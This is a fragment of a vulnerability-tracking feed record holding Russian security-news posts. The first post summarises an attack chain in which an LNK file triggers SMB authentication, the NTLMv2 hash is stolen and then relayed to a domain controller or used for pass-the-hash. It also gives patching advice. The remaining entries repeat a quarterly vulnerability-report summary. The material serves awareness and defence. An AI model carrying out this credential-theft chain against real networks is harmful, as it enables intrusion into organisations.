\u0432 \u041f\u0440\u043e\u0432\u043e\u0434\u043d\u0438\u043a\u0435; Windows Shell \u043f\u0430\u0440\u0441\u0438\u0442 LNK \u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0440\u0435\u0437\u043e\u043b\u0432\u0438\u0442 UNC-\u043f\u0443\u0442\u044c, \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044f SMB-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 server \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n3\ufe0f\u20e3 \u041a\u0440\u0430\u0436\u0430 NTLMv2-\u0445\u0435\u0448\u0430: \u0421\u0435\u0440\u0432\u0435\u0440 \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 NTLMv2-\u0447\u0435\u043b\u043b\u0435\u043d\u0434\u0436/\u0440\u0435\u0441\u043f\u043e\u043d\u0441 (\u0445\u0435\u0448 \u043f\u0430\u0440\u043e\u043b\u044f), \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044f \u043a\u043b\u0438\u043a\u0430 \u043f\u043e \u0444\u0430\u0439\u043b\u0443 \u2014 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0437\u0430\u0449\u0438\u0442\u044b \u043d\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0432\u044b\u0437\u043e\u0432.\n4\ufe0f\u20e3 \u041f\u043e\u0441\u0442\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f: \u0425\u0435\u0448 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f relay-\u0430\u0442\u0430\u043a\u0438 (NTLM relay \u043d\u0430 DC \u0434\u043b\u044f DCSync \u0438\u043b\u0438 lateral movement), \u043e\u0444\u0444\u043b\u0430\u0439\u043d brute-force \u0438\u043b\u0438 Pass-the-Hash\n\n\u2b07\ufe0f \u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows KB5083769, \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c SMBv1 \u0438 \u0441\u043f\u0440\u044f\u0442\u0430\u0442\u044c\u0441\u044f \u043f\u043e\u0434 \u043e\u0434\u0435\u044f\u043b\u043e  \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u0442\u044c UNC/LNK-\u0444\u0430\u0439\u043b\u044b \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u043c \u0442\u0440\u0430\u0444\u0438\u043a\u0435\n\n#windows #cve #smb #lnk\n\n\ud83d\udd17 \u0412\u0441\u0435 \u043d\u0430\u0448\u0438 \u043a\u0430\u043d\u0430\u043b\u044b \ud83d\udd01 \u0412\u0441\u0435 \u043d\u0430\u0448\u0438 \u0447\u0430\u0442\u044b \ud83e\udea7 \u0414\u043b\u044f \u0441\u0432\u044f\u0437\u0438 \u0441 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u043e\u043c", "creation_timestamp": "2026-05-07T16:02:14.000000Z"}, {"uuid": "d1964c98-e170-4073-aafd-8d353ff52720", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://t.me/true_secator/8183", "content": "\u0421\u043e\u043b\u0430\u0440\u044b \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u0441 \u043e\u0431\u0437\u043e\u0440\u043e\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u043d\u0430 \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442\u0435 \u0443\u0433\u0440\u043e\u0437 \u044d\u0442\u043e\u0433\u043e \u0442\u0438\u043f\u0430.\n\n\u041e\u0442\u043c\u0435\u0442\u0438\u043c \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u0432\u044b\u0432\u043e\u0434\u044b:\n\n- \u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0441 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u044b\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u043e\u043c 2025 \u0433\u043e\u0434\u0430 \u0432\u044b\u0440\u043e\u0441\u043b\u043e \u043d\u0430 7% - \u0441 397 \u0434\u043e 426. \u0412 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0440\u043e\u0441\u0442 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d \u0442\u0435\u043c \u0444\u0430\u043a\u0442\u043e\u043c, \u0447\u0442\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0432 2026 \u0433\u043e\u0434\u0443, \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0435\u0449\u0435 \u0432 2025 \u0433\u043e\u0434\u0443.\n\n- \u0421\u0435\u0442\u0435\u0432\u043e\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0438\u043c\u0435\u043b\u0438 83,84% \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0412 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 \u044d\u0442\u043e\u0442 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u043b 81%.\n\n- \u0421\u0440\u0435\u0434\u043d\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043b 8,1 \u0431\u0430\u043b\u043b\u0430. \u0412 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 - 7,8, \u0430 \u0433\u043e\u0434\u043e\u043c \u0440\u0430\u043d\u0435\u0435, \u043f\u043e \u0438\u0442\u043e\u0433\u0430\u043c \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0430 2025 \u0433\u043e\u0434\u0430, - 7,3.\n\n- 91,62% \u0432\u0441\u0435\u0445 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 HTTP. \u0411\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0439 \u00ab\u043f\u0440\u0435\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u00bb - TCP (3,07%).\n\n- \u041d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0440\u043e\u0432\u043d\u044f Critical \u0438 High \u0432 \u0441\u043e\u0432\u043e\u043a\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c 72,06% - \u044d\u0442\u043e \u0437\u0430\u043c\u0435\u0442\u043d\u043e \u0432\u044b\u0448\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u043e\u0433\u043e \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0430 2025 \u0433\u043e\u0434\u0430 (69,3%), \u043d\u043e \u043b\u0438\u0448\u044c \u043d\u0435 \u043d\u0430\u043c\u043d\u043e\u0433\u043e \u0432\u044b\u0448\u0435, \u0447\u0435\u043c \u0431\u044b\u043b\u043e \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 (71,5%).\n\n-  \u0421\u0430\u043c\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u043c \u0443\u0436\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u043e\u0432 \u043f\u043e\u0434\u0440\u044f\u0434 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f WordPress \u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u044b \u0434\u043b\u044f \u043d\u0435\u0433\u043e (18,13%).\n\n\u0414\u043e\u043b\u044f \u0442\u0430\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043e\u0431\u0449\u0435\u043c \u043e\u0431\u044a\u0435\u043c\u0435 \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u043d\u0430 4,7 \u043f\u0440\u043e\u0446\u0435\u043d\u0442\u043d\u044b\u0445 \u043f\u0443\u043d\u043a\u0442\u0430 \u0432 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u0441 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u044b\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u043e\u043c. \u041e\u0434\u043d\u0430\u043a\u043e \u0432 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u0441 \u043f\u0435\u0440\u0432\u044b\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u043e\u043c, \u043a\u043e\u0433\u0434\u0430 \u043d\u0430 WordPress \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u043b\u043e\u0441\u044c 22,4% \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043e\u043d\u0430 \u0443\u043f\u0430\u043b\u0430.\n\n- \u041f\u043e\u0441\u043b\u0435 \u0441\u043f\u0430\u0434\u0430 \u0432 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 \u0432\u043d\u043e\u0432\u044c \u0432\u0435\u0440\u043d\u0443\u043b\u0430\u0441\u044c \u043a \u0440\u043e\u0441\u0442\u0443 \u0434\u043e\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0418\u0418-\u0441\u0435\u0440\u0432\u0438\u0441\u0430\u0445.\n\n\u041d\u0430 \u043d\u0438\u0445 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c 4,83%. \u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0442\u0430\u043a\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 - 9,2 \u0431\u0430\u043b\u043b\u0430. \u042d\u0442\u043e \u0441\u0430\u043c\u044b\u0439 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u0441\u0440\u0435\u0434\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432-\u043b\u0438\u0434\u0435\u0440\u043e\u0432 \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0418\u0445 \u043d\u0430\u0445\u043e\u0434\u044f\u0442 \u0441\u0440\u0430\u0432\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u0434\u043a\u043e, \u043d\u043e \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0437 \u0442\u0430\u043a\u0438\u0445 \u0431\u0440\u0435\u0448\u0435\u0439 \u0438\u043c\u0435\u044e\u0442 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438.\n\n\u041e\u0431\u0449\u0438\u043c \u0442\u0440\u0435\u043d\u0434\u043e\u043c \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0430 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u043a\u0430\u043d\u0435\u0440\u043e\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043b\u044f \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0418\u0418-\u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432. \u0422\u0430\u043a, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u043d\u0438\u0445, \u043d\u0430 \u043c\u0430\u0440\u0442 2026 \u0433. \u0432 AI-\u0430\u0433\u0435\u043d\u0442\u0435 OpenClaw \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 522 CVE, \u0438 \u0435\u0436\u0435\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0430\u0437\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442\u0441\u044f, \u0447\u0442\u043e \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u043a\u0440\u0438\u0437\u0438\u0441\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 OpenClaw. ClawJacked - \u044d\u0442\u043e \u043d\u043e\u0432\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 AI-\u0430\u0433\u0435\u043d\u0442.\n\n\u0412 1-\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433. \u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: CVE-2025-2304 (Camaleon CMS), CVE-2026-23744 (MCPJam Inspector), CVE-2026-21858 (n8n), CVE-2026-29000 (pac4j-jwt) \u0438 CVE-2026-21962 (Oracle Fusion Middleware).\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430 \u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2026-05-07T16:20:06.000000Z"}, {"uuid": "661a184b-8fc2-4e11-9185-af56d1378edb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "seen", "source": "https://t.me/true_secator/8183", "content": "\u0421\u043e\u043b\u0430\u0440\u044b \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u0441 \u043e\u0431\u0437\u043e\u0440\u043e\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u043d\u0430 \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442\u0435 \u0443\u0433\u0440\u043e\u0437 \u044d\u0442\u043e\u0433\u043e \u0442\u0438\u043f\u0430.\n\n\u041e\u0442\u043c\u0435\u0442\u0438\u043c \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u0432\u044b\u0432\u043e\u0434\u044b:\n\n- \u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0441 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u044b\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u043e\u043c 2025 \u0433\u043e\u0434\u0430 \u0432\u044b\u0440\u043e\u0441\u043b\u043e \u043d\u0430 7% - \u0441 397 \u0434\u043e 426. \u0412 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0440\u043e\u0441\u0442 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d \u0442\u0435\u043c \u0444\u0430\u043a\u0442\u043e\u043c, \u0447\u0442\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0432 2026 \u0433\u043e\u0434\u0443, \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0435\u0449\u0435 \u0432 2025 \u0433\u043e\u0434\u0443.\n\n- \u0421\u0435\u0442\u0435\u0432\u043e\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0438\u043c\u0435\u043b\u0438 83,84% \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0412 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 \u044d\u0442\u043e\u0442 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u043b 81%.\n\n- \u0421\u0440\u0435\u0434\u043d\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043b 8,1 \u0431\u0430\u043b\u043b\u0430. \u0412 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 - 7,8, \u0430 \u0433\u043e\u0434\u043e\u043c \u0440\u0430\u043d\u0435\u0435, \u043f\u043e \u0438\u0442\u043e\u0433\u0430\u043c \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0430 2025 \u0433\u043e\u0434\u0430, - 7,3.\n\n- 91,62% \u0432\u0441\u0435\u0445 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 HTTP. \u0411\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0439 \u00ab\u043f\u0440\u0435\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u00bb - TCP (3,07%).\n\n- \u041d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0440\u043e\u0432\u043d\u044f Critical \u0438 High \u0432 \u0441\u043e\u0432\u043e\u043a\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c 72,06% - \u044d\u0442\u043e \u0437\u0430\u043c\u0435\u0442\u043d\u043e \u0432\u044b\u0448\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u043e\u0433\u043e \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0430 2025 \u0433\u043e\u0434\u0430 (69,3%), \u043d\u043e \u043b\u0438\u0448\u044c \u043d\u0435 \u043d\u0430\u043c\u043d\u043e\u0433\u043e \u0432\u044b\u0448\u0435, \u0447\u0435\u043c \u0431\u044b\u043b\u043e \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 (71,5%).\n\n-  \u0421\u0430\u043c\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u043c \u0443\u0436\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u043e\u0432 \u043f\u043e\u0434\u0440\u044f\u0434 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f WordPress \u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u044b \u0434\u043b\u044f \u043d\u0435\u0433\u043e (18,13%).\n\n\u0414\u043e\u043b\u044f \u0442\u0430\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043e\u0431\u0449\u0435\u043c \u043e\u0431\u044a\u0435\u043c\u0435 \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u043d\u0430 4,7 \u043f\u0440\u043e\u0446\u0435\u043d\u0442\u043d\u044b\u0445 \u043f\u0443\u043d\u043a\u0442\u0430 \u0432 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u0441 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u044b\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u043e\u043c. \u041e\u0434\u043d\u0430\u043a\u043e \u0432 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u0441 \u043f\u0435\u0440\u0432\u044b\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u043e\u043c, \u043a\u043e\u0433\u0434\u0430 \u043d\u0430 WordPress \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u043b\u043e\u0441\u044c 22,4% \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043e\u043d\u0430 \u0443\u043f\u0430\u043b\u0430.\n\n- \u041f\u043e\u0441\u043b\u0435 \u0441\u043f\u0430\u0434\u0430 \u0432 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 \u0432\u043d\u043e\u0432\u044c \u0432\u0435\u0440\u043d\u0443\u043b\u0430\u0441\u044c \u043a \u0440\u043e\u0441\u0442\u0443 \u0434\u043e\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0418\u0418-\u0441\u0435\u0440\u0432\u0438\u0441\u0430\u0445.\n\n\u041d\u0430 \u043d\u0438\u0445 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c 4,83%. \u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0442\u0430\u043a\u0438\u0445 